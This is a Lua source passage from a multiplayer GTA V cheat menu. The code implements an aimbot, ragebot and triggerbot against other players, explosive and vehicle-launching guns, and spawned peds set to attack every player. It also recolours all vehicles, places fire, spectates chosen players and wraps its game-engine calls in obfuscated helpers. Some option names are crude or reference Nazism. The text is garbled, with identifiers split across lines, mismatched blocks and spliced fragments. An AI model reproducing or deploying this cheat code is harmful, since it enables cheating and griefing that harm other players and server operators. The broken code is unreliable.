local Rotation = Fatasf.n.GetEntityRotation(k)
local Direct =
CockMeni.Functions.RotationToDirection(Rotation)
local TargetCoords = Fatasf.n.GetPedBoneCoords(k, 31086, 0,
0, 0)
local IsPedAlive = Fatasf.n.IsEntityDead(k)
local playerInVeh =
Fatasf.n.IsPedInAnyVehicle(Fatasf.n.PlayerPedId(), 0)
if playerInVeh then
if not IsPedAlive and not
Cock.AimFriends[Fatasf.n.GetPlayerName(v)] then
Fatasf.n.ShootSingleBulletBetweenCoords( (TargetCoords.x +
Direct.x), (TargetCoords.y + Direct.y), (TargetCoords.z + Direct.z),
TargetCoords.x, TargetCoords.y, TargetCoords.z, 0.0,
false,Fatasf.n.GetHashKey('WEAPON_PISTOL'),Fatasf.n.PlayerPedId(), true, true,
1000.0)
CockT.Inv["Wait"](10)
else
end
else
end
end
end
if CockMeni.Functions.Triggerbot then
local hasTarget, target =
Fatasf.n.GetEntityPlayerIsFreeAimingAt(Fatasf.n.PlayerId())
if hasTarget and Fatasf.n.IsPedAPlayer(target) then
local x, y, z =
CockT.Strings.tunpack(Fatasf.n.GetPedBoneCoords(target, 0, 0.0, -0.2, 0.0))
Fatasf.n.SetPedShootsAtCoord(Fatasf.n.PlayerPedId(), x, y,
z, true)
end
end
if CockMeni.Functions.Aimbot then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
if CockMeni.Functions.ragebot then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local pPed = Fatasf.n.GetPlayerPed(v)
local Rotation = Fatasf.n.GetEntityRotation(pPed)
local Direct =
CockMeni.Functions.RotationToDirection(Rotation)
local TargetCoords = Fatasf.n.GetPedBoneCoords(pPed,
CockMenu.ComboBoxesT.Bone[CockMenu.ComboBoxesT.HeadMultIndex], 0, 0, 0)
local IsPedAlive = Fatasf.n.IsEntityDead(pPed)
if not IsPedAlive and not
Cock.AimFriends[Fatasf.n.GetPlayerName(v)] then
Fatasf.n.ShootSingleBulletBetweenCoords( (TargetCoords.x
+ Direct.x), (TargetCoords.y + Direct.y), (TargetCoords.z + Direct.z),
TargetCoords.x, TargetCoords.y, TargetCoords.z, 1150.0,
false,Fatasf.n.GetHashKey('WEAPON_PISTOL'),Fatasf.n.PlayerPedId(), true, true,
1000.0)
CockT.Inv["Wait"](0)
end
end
else
end
if Cock.Menu.molotovgun then
local ret, position =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.PlayerPedId())
if ret then
Fatasf.n.AddExplosion(position.x, position.y, position.z, 3,
100.0, true, false, 100000.0)
end
end
if Cock.Menu.Tpgun then
local ret, position =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.PlayerPedId())
if ret then
Fatasf.n.SetEntityCoordsNoOffset(Fatasf.n.PlayerPedId(),
position.x, position.y, position.z+1.0, true, true, true)
CockT.Inv["Wait"](0)
end
end
if Cock.Menu.RPGGun then
local ret, position =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.PlayerPedId())
if ret then
Fatasf.n.ShootSingleBulletBetweenCoords( position.x,
position.y, position.z, position.x, position.y, position.z, 50.0, false,
Fatasf.n.GetHashKey('WEAPON_RPG'), Fatasf.n.PlayerPedId(), true, true, 1.0)
end
end
if Cock.Menu.rapidfire then
CockT.Inv["Invoke"](CockT.Natives['DisablePlayerFiring'],
Fatasf.n.PlayerPedId(), true)
if Fatasf.n.IsDisabledControlPressed(0, 257) and
Fatasf.n.IsPlayerFreeAiming(Fatasf.n.PlayerId()) then
local _, weapon =
Fatasf.n.GetCurrentPedWeapon(Fatasf.n.PlayerPedId())
local wepent =
Fatasf.n.GetCurrentPedWeaponEntityIndex(Fatasf.n.PlayerPedId())
local launchPos = Fatasf.n.GetEntityCoords(wepent)
local targetPos = Fatasf.n.GetGameplayCamCoord() +
(CockMeni.Functions.RotationToDirection(Fatasf.n.GetGameplayCamRot(2)) * 200.0)
Fatasf.n.ShootSingleBulletBetweenCoords( launchPos,
targetPos, 5, 1, weapon, Fatasf.n.PlayerPedId(), true, true, 24000.0)
Fatasf.n.ShootSingleBulletBetweenCoords( launchPos,
targetPos, 5, 1, weapon, Fatasf.n.PlayerPedId(), true, true, 24000.0)
end
end
if Cock.Menu.infammo then
CockT.Inv["Invoke"](CockT.Natives['SetPedInfiniteAmmoClip'],
Fatasf.n.PlayerPedId(), true)
else
CockT.Inv["Invoke"](CockT.Natives['SetPedInfiniteAmmoClip'],
Fatasf.n.PlayerPedId(), false)
end
if Cock.Menu.shootvehs then
local player = Fatasf.n.PlayerPedId()
local _, position = Fatasf.n.GetPedLastWeaponImpactCoord(player)
if not
Fatasf.n.HasModelLoaded(Fatasf.n.GetHashKey(randomvehs)) then
Fatasf.n.RequestModel(Fatasf.n.GetHashKey(randomvehs))
end
local veh =
Fatasf.n.CreateVehicle(Fatasf.n.GetHashKey(randomvehs), position.x, position.y,
position.z , 1, true, true)
local rotation = Fatasf.n.GetEntityRotation(player)
Fatasf.n.SetVehicleEngineOn(veh, true, true, true)
Fatasf.n.SetEntityRotation(veh, rotation, 0.0, 0.0, 0.0,
true)
Fatasf.n.SetVehicleForwardSpeed(veh, 500.0)
end
end
if Cock.Menu.particlegun then
local currentparticle =
CockMeni.Functions.ParticleModes[CockMeni.Functions.CurrentParticle]
if Fatasf.n.IsDisabledControlJustPressed(1, CockT.Keys["RIGHT"])
then
CockMeni.Functions.CurrentParticle =
CockMeni.Functions.CurrentParticle + 1
if CockMeni.Functions.CurrentParticle >
#CockMeni.Functions.ParticleModes then
CockMeni.Functions.CurrentParticle = 1
end
end
if Fatasf.n.IsDisabledControlJustPressed(1, CockT.Keys["LEFT"])
then
CockMeni.Functions.CurrentParticle =
CockMeni.Functions.CurrentParticle - 1
if CockMeni.Functions.CurrentParticle < 1 then
CockMeni.Functions.CurrentParticle =
#CockMeni.Functions.ParticleModes
end
end
Fatasf.n.RequestNamedPtfxAsset(eh[1])
end
Fatasf.n.UseParticleFxAsset(
eh[1])
if Cock.Menu.cvcolour then
local vehicle =
Fatasf.n.GetVehiclePedIsUsing(Fatasf.n.PlayerPedId())
CockMeni.Functions.RGBPicker(CockT.RGBPicker['MyCar'])
CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleCustomPrimaryColour'], vehicle,
CockT.RGBPicker['MyCar'].red, CockT.RGBPicker['MyCar'].green,
CockT.RGBPicker['MyCar'].blue)
CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleCustomSecondaryColour'], vehicle,
CockT.RGBPicker['MyCar'].red, CockT.RGBPicker['MyCar'].green,
CockT.RGBPicker['MyCar'].blue)
end
if Cock.Menu.paintallvehs then
CockMeni.Functions.RGBPicker(CockT.RGBPicker['AllVehicles'])
for vehs in Fatasf.n.EnumerateVehicles() do
--Fatasf.n.RequestControlOnce(vehs)
CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleCustomPrimaryColour'], vehs,
CockT.RGBPicker['AllVehicles'].red, CockT.RGBPicker['AllVehicles'].green,
CockT.RGBPicker['AllVehicles'].blue)
CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleCustomSecondaryColour'], vehs,
CockT.RGBPicker['AllVehicles'].red, CockT.RGBPicker['AllVehicles'].green,
CockT.RGBPicker['AllVehicles'].blue)
end
end
if CockMeni.Functions.hitsound then
local hasTarget, target =
Fatasf.n.GetEntityPlayerIsFreeAimingAt(Fatasf.n.PlayerId())
if hasTarget and Fatasf.n.IsPedShooting(Fatasf.n.PlayerPedId())
and Fatasf.n.IsEntityAPed(target) and not Fatasf.n.IsEntityDead(target) then
--local hitsound =
Fatasf.n.CreateAnDui("https://cock.menu/music/hitsound.mp3", 50, 50)
--Fatasf.n.DestroyDui(hitsound)
Fatasf.n.PlaySoundFrontend(-1, "PROPERTY_PURCHASE",
"HUD_AWARDS", true)
end
end
if CockMeni.Functions.hitmarker then
local hasTarget, target =
Fatasf.n.GetEntityPlayerIsFreeAimingAt(Fatasf.n.PlayerId())
if hasTarget and Fatasf.n.IsPedShooting(Fatasf.n.PlayerPedId())
and Fatasf.n.IsEntityAPed(target) then
Fatasf.n.RequestStreamedTextureDict('helicopterhud', true)
for asdi = 0, 25 do
CockT.Inv["Wait"](0)
Fatasf.n.DrawSprite('helicopterhud', 'hud_lock', 0.5,
0.5, 0.023, 0.04, 45.0, 255, 255, 255, 255)
end
end
end
if Cock.Menu.customhud then
CockMeni.Functions.RGBPicker(CockT.RGBPicker['CustomHud'])
CockT.Inv["Invoke"](CockT.Natives['ReplaceHudColourWithRgba'],
116, CockT.RGBPicker['CustomHud'].red, CockT.RGBPicker['CustomHud'].green,
CockT.RGBPicker['CustomHud'].blue, 255)
end
if Cock.Menu.tracers then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local pPed = Fatasf.n.GetPlayerPed(v)
local _self = Fatasf.n.PlayerPedId()
local xx, yy, zz =
CockT.Strings.tunpack(Functions.f.GetPedBoneCoords(pPed, 0, 0.0, 0.0, 0.0))
local x, y, z =
CockT.Strings.tunpack(Functions.f.GetPedBoneCoords(_self, bone, 0.0, 0.0, 0.0))
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(pPed),
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), true) <
CockMenu.ComboBoxesT.EspDist[CockMenu.ComboBoxesT.EspDistMultIndex] then
Fatasf.n.DrawLine(xx, yy, zz, x, y, z, 255, 255, 255,
255)
end
end
end
if Cock.Menu.xenonl then
local veh = Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId())
CockT.Inv["Invoke"](CockT.Natives['SetVehicleExtra'], veh, 2, 0)
else
local veh = Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId())
CockT.Inv["Invoke"](CockT.Natives['SetVehicleExtra'], veh, 2, 1)
end
if CockMeni.Functions.udwallslock then
local hasTarget, target =
Fatasf.n.GetEntityPlayerIsFreeAimingAt(Fatasf.n.PlayerId())
if hasTarget and Fatasf.n.IsPedShooting(Fatasf.n.PlayerPedId())
and Fatasf.n.IsEntityAPed(target) and not Fatasf.n.IsEntityDead(target) then
local coords = Fatasf.n.GetPedBoneCoords(target,
CockMenu.ComboBoxesT.Bone[CockMenu.ComboBoxesT.HeadMultIndex], 0.0, 0.0, 0.0)
Fatasf.n.ShootSingleBulletBetweenCoords(coords.x, coords.y -
0.2, coords.z, coords.x, coords.y, coords.z, 0.1, true,
Fatasf.n.GetSelectedPedWeapon(Fatasf.n.PlayerPedId()), Fatasf.n.PlayerPedId(),
true, true, 1.0)
end
end
if CockMeni.Functions.Aimlock then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local pPed = Fatasf.n.GetPlayerPed(v)
if CockT.Inv["Invoke"](CockT.Natives['IsAimCamActive']) and
Fatasf.n.IsEntityOnScreen(pPed) and Fatasf.n.HasEntityClearLosToEntity(pPed,
Fatasf.n.PlayerPedId(), 17) then
local coords = Fatasf.n.GetPedBoneCoords(pPed,
CockMenu.ComboBoxesT.Bone[CockMenu.ComboBoxesT.HeadMultIndex], 0.0, 0.0, 0.0)
--Fatasf.n.GetEntityCoords(k, false)
local _, x_world, y_world =
Fatasf.n.GetScreenCoordFromWorldCoord(coords.x, coords.y, coords.z)
local x_screen, y_screen =
Fatasf.n.GetActiveScreenResolution()
local fovxy =
CockMenu.ComboBoxesT.Fov[CockMenu.ComboBoxesT.FovMultIndex]
local Radius = Functions.f.TranslateFOVInNumber(fovxy)
local IsInCFOV =
Functions.f.IsInCFOVCircleFOV(x_screen / 2, y_screen / 2, Radius, x_world *
x_screen, y_world * y_screen)
Fatasf.n.DrawLine(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId(), false),
Fatasf.n.GetEntityCoords(pPed, false), red, green, blue, 255)
end
end
else
end
end
end
end
end
end
end)
CockT.Inv["Thread"](function()
while CockMenu.MenuEnabled do
CockT.Inv["Wait"](0)
if Cock.Menu.Freecam then
if not shown then
local fakeobj = 0
local freecam_cam_rot = Fatasf.n.GetCamRot(freecam_cam, 2)
freecam_cam = freecam_cam
if not freecam_cam ~= nil then
freecam_cam =
Fatasf.n.CreateCam('DEFAULT_SCRIPTED_Camera', 1)
end
if not cam ~= nil then
cam = Fatasf.n.CreateCam("DEFAULT_SCRIPTED_Camera", 1)
freecamcam = cam
end
Fatasf.n.RenderScriptCams(1, 0, 0, 1, 1)
Fatasf.n.SetCamActive(cam, true)
while Fatasf.n.DoesCamExist(freecamcam) do
CockT.Inv["Wait"](0)
if not Cock.Menu.Freecam then
Fatasf.n.DestroyCam(freecamcam)
Fatasf.n.ClearTimecycleModifier()
Fatasf.n.RenderScriptCams(false, false, 0, 1, 0)
Fatasf.n.SetFocusEntity(Fatasf.n.PlayerPedId())
Fatasf.n.FreezeEntityPosition(Fatasf.n.PlayerPedId(), false)
break
end
Fatasf.n.SetTextOutline();
Functions.f.DrawTextTest('.', false, 0.4, 0, 0.5, 0.482)
CockT.Inv["Invoke"](CockT.Natives['SetHdArea'],
camCoords.x, camCoords.y, camCoords.z, 50.0)
Fatasf.n.FreezeEntityPosition(Fatasf.n.PlayerPedId(), true)
--CockT.Inv["Invoke"]
(CockT.Natives['DisableAllControlActions'], 0)
--CockT.Inv["Invoke"]
(CockT.Natives['DisableAllControlActions'], 1)
if Fatasf.n.IsDisabledControlPressed(0, 21) then
speedMultiplier = 3.0
elseif Fatasf.n.IsDisabledControlPressed(0, 36) then
speedMultiplier = 0.025
else
speedMultiplier = 0.25
end
if Fatasf.n.IsDisabledControlPressed(0, 32) then
Functions.f.DrawTextTest('~c~[~g~CockMenu~c~]
~s~Freecam mode: ~r~'..currentmode, false, 0.35, 0, 0.5, 0.957)
CockT.Inv["Thread"](function()
while w do
CockT.Inv["Wait"](0)
fov = fov - 0.1
CockT.Inv["Invoke"]
(CockT.Natives['SetCamFov'], cam, fov)
end
end)
end
if Fatasf.n.IsDisabledControlPressed(0, 0) then
local w = true
local fov = 70.0
CockT.Inv["Thread"](function()
while w do
CockT.Inv["Wait"](0)
if fov < 70.0 then
fov = fov + 0.1
end
CockT.Inv["Invoke"]
(CockT.Natives['SetCamFov'], cam, fov)
end
end)
end
if Fatasf.n.IsDisabledControlJustPressed(1,
CockT.Keys["RIGHT"]) then
CockT.Global.FreecamMode =
CockT.Global.FreecamMode + 1
if CockT.Global.FreecamMode >
#CockT.Global.FreecamModes then
CockT.Global.FreecamMode = 1
end
end
if Fatasf.n.IsDisabledControlJustPressed(1,
CockT.Keys["LEFT"]) then
CockT.Global.FreecamMode =
CockT.Global.FreecamMode - 1
if CockT.Global.FreecamMode < 1 then
CockT.Global.FreecamMode =
#CockT.Global.FreecamModes
end
end
--Cock.Menu.modes
if currentmode == 'Particle Spam' then
if Fatasf.n.IsDisabledControlPressed(0, 24) and
not CockT.display_menu then
local gox_dict = "core"
Fatasf.n.RequestNamedPtfxAsset(gox_dict)
while not
Fatasf.n.HasNamedPtfxAssetLoaded(gox_dict) do
CockT.Inv["Wait"](10)
end
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("veh_light_amber",Markerloc.x,Mar
kerloc.y,Markerloc.z,0,0,0,10.0,0,0,0)
Fatasf.n.UseParticleFxAsset(gox_dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("td_blood_shotgun",Markerloc.x,Ma
rkerloc.y,Markerloc.z,0,0,0,10.0,0,0,0)
Fatasf.n.UseParticleFxAsset(gox_dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("veh_respray_smoke",Markerloc.x,M
arkerloc.y,Markerloc.z,0,0,0,10.0,0,0,0)
while not
Fatasf.n.HasNamedPtfxAssetLoaded(gox_dict2) do
CockT.Inv["Wait"](10)
end
Fatasf.n.UseParticleFxAsset(gox_dict2)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("scr_clown_appears",Markerloc.x ,
Markerloc.y,Markerloc.z,0,0,0,10.0,0,0,0)
end
end
if currentmode == 'Teleport' then
if Fatasf.n.IsDisabledControlPressed(0, 24) and
not CockT.display_menu then
Functions.f.DrawTextTest('~s~Selected weapon:
~r~'..CurrentShootingMode, false, 0.35, 0, 0.5, 0.94)
if Fatasf.n.IsDisabledControlJustPressed(0, 14)
then
CockT.Global.CurrentShooting =
CockT.Global.CurrentShooting + 1
if CockT.Global.CurrentShooting >
#CockT.Global.ShootingModes then
CockT.Global.CurrentShooting = 1
end
end
if Fatasf.n.IsDisabledControlJustPressed(0, 15)
then
CockT.Global.CurrentShooting =
CockT.Global.CurrentShooting - 1
if CockT.Global.CurrentShooting < 1 then
CockT.Global.CurrentShooting =
#CockT.Global.ShootingModes
end
end
if Fatasf.n.IsDisabledControlJustPressed(0, 24)
then
local weapon =
Fatasf.n.GetHashKey(CurrentShootingMode)
CockT.Inv["Invoke"]
(CockT.Natives['RequestWeaponAsset'], weapon)
if not Fatasf.n.HasWeaponAssetLoaded(weapon)
then
CockT.Inv["Invoke"]
(CockT.Natives['RequestWeaponAsset'], weapon)
end
if Fatasf.n.IsDisabledControlJustPressed(0, 24)
and not CockT.display_menu then
if proptospawn ~= nil then
local objhash =
Fatasf.n.GetHashKey(proptospawn)
Fatasf.n.CreateObject(objhash,
Markerloc.x, Markerloc.y, Markerloc.z, true, true, true)
else
local objhash =
Fatasf.n.GetHashKey('prop_atm_01')
Fatasf.n.CreateObject(objhash,
Markerloc.x, Markerloc.y, Markerloc.z, true, true, true)
end
end
end
if Fatasf.n.IsDisabledControlJustPressed(0, 24)
then
if vehtospawn ~= nil then
local wa =
Fatasf.n.GetHashKey(vehtospawn)
Fatasf.n.RequestModel(wa)
while not Fatasf.n.HasModelLoaded(wa) do
CockT.Inv["Wait"](0)
end
local veh = Fatasf.n.CreateVehicle(wa,
Markerloc.x, Markerloc.y, Markerloc.z, 0.0, true, false)
Fatasf.n.SetVehicleEngineOn(veh, true,
true, true)
Fatasf.n.SetEntityRotation(veh,
GetCamRot(cam, 2), 0.0, 0.0, 0.0, true)
Fatasf.n.SetVehicleForwardSpeed(veh,
500.0)
else
local var = Fatasf.n.GetHashKey("adder")
Fatasf.n.RequestModel(var)
while not Fatasf.n.HasModelLoaded(var)
do
CockT.Inv["Wait"](0)
end
local veh = Fatasf.n.CreateVehicle(var,
Markerloc.x, Markerloc.y, Markerloc.z, 0.0, true, false)
Fatasf.n.SetVehicleEngineOn(veh, true,
true, true)
Fatasf.n.SetEntityRotation(veh,
GetCamRot(cam, 2), 0.0, 0.0, 0.0, true)
Fatasf.n.SetVehicleForwardSpeed(veh,
500.0)
end
end
end
if currentmode == "Deleter" then
local entity =
CockT.Global.GetEntityInFrontOfCam()
if entity ~= 0 and
Fatasf.n.DoesEntityExist(entity) and GetEntityType(entity) ~= 0 or nil then
if Fatasf.n.IsDisabledControlJustPressed(0,
24) then
CockT.Global.DeleteEntity(entity)
end
end
end
if currentmode == "Place fire" then
if Fatasf.n.IsDisabledControlPressed(0, 24) and
not CockT.display_menu then
local gox_dict = "core"
Fatasf.n.RequestNamedPtfxAsset(gox_dict)
while not
Fatasf.n.HasNamedPtfxAssetLoaded(gox_dict) do
CockT.Inv["Wait"](10)
end
Fatasf.n.UseParticleFxAsset(gox_dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord( "ent_sht_petrol_fire",
Markerloc.x, Markerloc.y, Markerloc.z, 0, 0, 0, 8.0, 0, 0, 0)
end
end
if currentmode == "Shit spawner" then
local props = {
"prop_tree_olive_cr2", "prop_a4_sheet_03",
"prop_byard_ramp",
"prop_abat_roller_static",
"prop_byard_rampold", "prop_afsign_vbike",
"prop_jetski_ramp_01", "prop_aircon_l_02",
"prop_air_chock_04", "prop_battery_01",
"prop_bar_napkindisp", "prop_bar_pump_04",
"prop_billboard_07", "prop_box_ammo07b",
}
if Fatasf.n.IsDisabledControlJustPressed(0, 24)
then
local randomprop =
props[CockT.Math.random(#props)]
local _a = Fatasf.n.GetHashKey(randomprop)
Fatasf.n.CreateObject(_a, Markerloc.x,
Markerloc.y, Markerloc.z, true, true, true)
end
end
if currentmode == "Ped spawner" then
local peds = {
"a_f_m_beach_01", "a_f_m_business_02",
"a_f_m_bevhills_01", "a_f_y_business_04",
"a_f_m_bevhills_02", "a_f_y_fitness_02",
"a_f_m_bodybuild_01", "a_f_y_tourist_01",
"a_m_m_acult_01", "a_m_m_genfat_01",
"a_m_m_hillbilly_01", "a_m_m_paparazzi_01",
"a_m_m_og_boss_01", "a_m_m_soucent_01",
}
if Fatasf.n.IsDisabledControlJustPressed(0, 24)
then
local random_ped =
peds[CockT.Math.random(#peds)]
local _1 = Fatasf.n.GetHashKey(random_ped)
local _2 = Fatasf.n.GetHashKey(random_ped)
Fatasf.n.RequestModel(_1)
Fatasf.n.RequestModel(_2)
while not Fatasf.n.HasModelLoaded(_1) and
not Fatasf.n.HasModelLoaded(_2) do
CockT.Inv["Wait"](1)
end
for k, v in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local player = Fatasf.n.GetPlayerPed(v)
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerAngry'], ped, true)
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerAngry'], ped_2, true)
CockT.Inv["Invoke"]
(CockT.Natives['TaskCombatPed'], ped, player, 0, 16)
CockT.Inv["Invoke"]
(CockT.Natives['TaskCombatPed'], ped_2, player, 0, 16)
end
end
end
if Fatasf.n.IsDisabledControlJustPressed(0, 24)
then
if vehtospawn ~= nil then
local wa =
Fatasf.n.GetHashKey(vehtospawn)
Fatasf.n.RequestModel(wa)
while not Fatasf.n.HasModelLoaded(wa) do
CockT.Inv["Wait"](0)
end
Fatasf.n.CreateVehicle(wa, Markerloc.x,
Markerloc.y, Markerloc.z, 0.0, true, false)
else
local var = Fatasf.n.GetHashKey("adder")
Fatasf.n.RequestModel(var)
while not Fatasf.n.HasModelLoaded(var)
do
CockT.Inv["Wait"](0)
end
Fatasf.n.CreateVehicle(var, Markerloc.x,
Markerloc.y, Markerloc.z, 0.0, true, false)
end
end
end
end
end
end
end
if Cock.Menu.Spectate then
Fatasf.n.FreezeEntityPosition(Fatasf.n.PlayerPedId(), true)
local spectate_cam = spectate_cam
if not spectate_cam ~= nil then
spectate_cam = Fatasf.n.CreateCam("DEFAULT_SCRIPTED_Camera",
1)
end
Fatasf.n.RenderScriptCams(1, 0, 0, 1, 1)
Fatasf.n.SetCamActive(spectate_cam, true)
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer))
Fatasf.n.SetCamCoord(spectate_cam, coords.x, coords.y, coords.z
+ 3)
local offsetRotX = 0.0
local offsetRotY = 0.0
local offsetRotZ = 0.0
local weapondelay = 0
while Fatasf.n.DoesCamExist(spectate_cam) do
CockT.Inv["Wait"](0)
if not Cock.Menu.Spectate then
Fatasf.n.DestroyCam(spectate_cam, false)
Fatasf.n.ClearTimecycleModifier()
Fatasf.n.RenderScriptCams(false, false, 0, 1, 0)
Fatasf.n.FreezeEntityPosition(Fatasf.n.PlayerPedId(),
false)
Fatasf.n.SetFocusEntity(Fatasf.n.PlayerPedId())
break
end
local playerPed =
Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer)
local playerRot = Fatasf.n.GetEntityRotation(playerPed, 2)
offsetRotX = offsetRotX -
(Fatasf.n.GetDisabledControlNormal(1, 2) * 8.0)
offsetRotZ = offsetRotZ -
(Fatasf.n.GetDisabledControlNormal(1, 1) * 8.0)
end
end)
end
CockT.Global.GicTobR5RRImZobUZ0o4ytqDottM = function()
local PEnabled = true
local ISeN = true
local Cock = {
AimFriends = {},
Notifications = {},
Sliders = {
['Sprint'] = {min = 0, max = 5, value = 1}, ['VehSpeed'] = {min
= 0, max = 255, value = 9},
['InvsAlpha'] = {min = 0, max = 255, value = 255}, ['AimFov'] =
{min = 0, max = 1000, value = 50}, ['EspDistance'] = {min = 0, max = 10000, value =
250},
['AimDist'] = {min = 0, max = 1000, value = 250}, ['AimDistFov']
= {min = 0, max = 150, value = 50},
['CustomDamage'] = {min = 1, max = 1000, value = 1},
['NoclipSpeed'] = {min = 0, max = 30, value = 2},
['CustomAmmo'] = {min = 0, max = 250, value = 250},
['ExplodeType'] = {min = 0, max = 43, value = 1},
['AimSmooth'] = {min = 0, max = 200, value = 124},
['HealthVal'] = {min = 0, max = 100, value = 100}, ['ArmVal'] =
{min = 0, max = 100, value = 0},
['FuelVal'] = {min = 0, max = 100, value = 100}, ['MainR'] =
{min = 0, max = 255, value = 143},
['MainG'] = {min = 0, max = 255, value = 240}, ['MainB'] = {min
= 0, max = 255, value = 249},
['MainA'] = {min = 0, max = 255, value = 255},
},
Menu = {
MenuX = 0.5, MenuY = 0.5,
MenuX2 = 0.5, MenuY2 = 0.5,
ResizeW = 0.5, ResizeH = 0.5,
scr_1 = 0.0, scr_2 = 0.0,
scr_vis = 0.0,
scr_s = 0.0, scr_n = 0.0,
scr_a = 0.0, scr_dump = 0.0,
SpawnInCar = true, sexanimation = false,
blurmenu = false, up = true,
CurrentParticle = 1, CurrentParticle = 1,
CCamMode = 1, CurrentMode = 1,
Aimbot = false, ragebot = false,
Aimlock = false, hitsound = false,
fov = false, targets = false,
Carkiller = false, udwallslock = false,
Godmode = false, SJump = false,
maxstamina = false, NClip = false,
AFK = false, invisible = false,
Freecam = false, explodegrove = false,
explodeallstations = false, plantthebombonall = false,
cvcolour = false, cockplate = false,
DriveToWaypoint = false, boxes = false,
Crosshair = false, showcoords = false,
boxesV2 = false, tracers = false,
infos = false, skeletons = false,
roadetector = false, force3rdper = false,
customhud = false, selskins = false,
hailfvckinhitler = false, moscowmeme = false,
ussrmeme = false, DisableAllEnginesLoop = false,
xenonl = false, beliketorch = false,
plist = false, burnplayercar = false,
modes = {
"Particle Spam", "Teleport",
"Shooting", "Spawner",
"Prop Spawner ", "Place fire",
"Ram vehicle",
},
ParticleModes = {
"Blood",
"Fireworks", "Cartoon",
"Explode", "Smoke",
},
},
}
local CockMenu = {
MenuEnabled = true,
Build = '0.9a',
CockKeybinds = {
Menu = {
OpenMenuKey = {["Label"] = nil, ["Value"] = nil},
Noclip = {["Label"] = 'NONE', ["Value"] = 12345},
Heal = {["Label"] = 'NONE', ["Value"] = 12345},
Revive = {["Label"] = 'NONE', ["Value"] = 12345},
Armour = {["Label"] = 'NONE', ["Value"] = 12345},
Freecam = {["Label"] = 'NONE', ["Value"] = 12345},
Godmode = {["Label"] = 'NONE', ["Value"] = 12345},
fixveh = {["Label"] = 'NONE', ["Value"] = 12345},
givevintage = {["Label"] = 'NONE', ["Value"] = 12345},
givepistol = {["Label"] = 'NONE', ["Value"] = 12345},
invisible = {["Label"] = 'NONE', ["Value"] = 12345},
unlockveh = {["Label"] = 'NONE', ["Value"] = 12345},
},
},
peds = {},
Main = {
},
}
CockMenu.Main.LoadUi = function()
Fatasf.n.DrawRect(0.5+drag_x2, 0.5+drag_y2, 0.17, 0.4, 0, 0, 0, 180)
-- main
Fatasf.n.DrawSprite("cockmenuuu", "menu_gif", 0.5+drag_x2,
0.3+drag_y2, 0.17, 0.1, 0.0, 255, 255, 255, 255)
if id == tab then
Fatasf.n.SetTextColour(Cock.Sliders['MainR'].value,
Cock.Sliders['MainG'].value, Cock.Sliders['MainB'].value,
Cock.Sliders['MainA'].value)
CockT.Global.DrawText(text, x, y-0.01, _outl, 0.45, 4, true)
CockMenu.Main.LoadUi()
else
CockT.Global.DrawText(text, x, y-0.01, _outl, 0.45, 4, true)
end
if( (c_x) + 0.01 >= x and (c_x) - 0.01 <= x and (c_y) + 0.015 >= y
and (c_y) - 0.015 <= y and Fatasf.n.IsDisabledControlJustReleased(0, 92)) then
return true
else
return false
end
end
CockMenu.Main.FriendsButton = function(text, name, x, y)
local drag_x2 = Cock.Menu.MenuX2-0.5
local drag_y2 = Cock.Menu.MenuY2-0.5
local x = x+drag_x2
local y = y+drag_y2
local hp =
Fatasf.n.GetEntityHealth(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer))
if hp < 1 then hp = 'Dead' else hp = hp end
if
Cock.AimFriends[Fatasf.n.GetPlayerName(CockT.Global.SelectedPlayer)] then
CockT.Global.DrawText('Remove Friend
('..Fatasf.n.GetPlayerName(CockT.Global.SelectedPlayer)..')', x, y-0.01, false,
0.3, 4, true)
CockT.Global.DrawText('Nick:
'..Fatasf.n.GetPlayerName(CockT.Global.SelectedPlayer)..'\nFriend: yes\nHealth:
'..hp..'\nArmour:
'..Fatasf.n.GetPedArmour(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer)), x-
0.045, y+0.02, false, 0.3, 4, false)
else
CockT.Global.DrawText('Add Friend
('..Fatasf.n.GetPlayerName(CockT.Global.SelectedPlayer)..')', x, y-0.01, false,
0.3, 4, true)
CockT.Global.DrawText('Nick:
'..Fatasf.n.GetPlayerName(CockT.Global.SelectedPlayer)..'\nFriend: no\nHealth:
'..hp..'\nArmour:
'..Fatasf.n.GetPedArmour(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer)), x-
0.045, y+0.02, false, 0.3, 4, false)
end
local c_x, c_y = Fatasf.n.GetNuiCursorPosition()
local widht, height = Fatasf.n.GetActiveScreenResolution()
c_x = c_x / widht
c_y = c_y / height
Fatasf.n.DrawRect(x, y, 0.1, 0.017, 5, 5, 5, 255)
if ((c_x) + 0.03 >= x and (c_x) - 0.03 <= x and (c_y) + 0.012 >= y
and (c_y) - 0.012 <= y and Fatasf.n.IsDisabledControlJustReleased(0, 92)) then
return true
else
return false
end
end
if tab == id then
end
drag_x2 = Cock.Menu.MenuX2-0.5
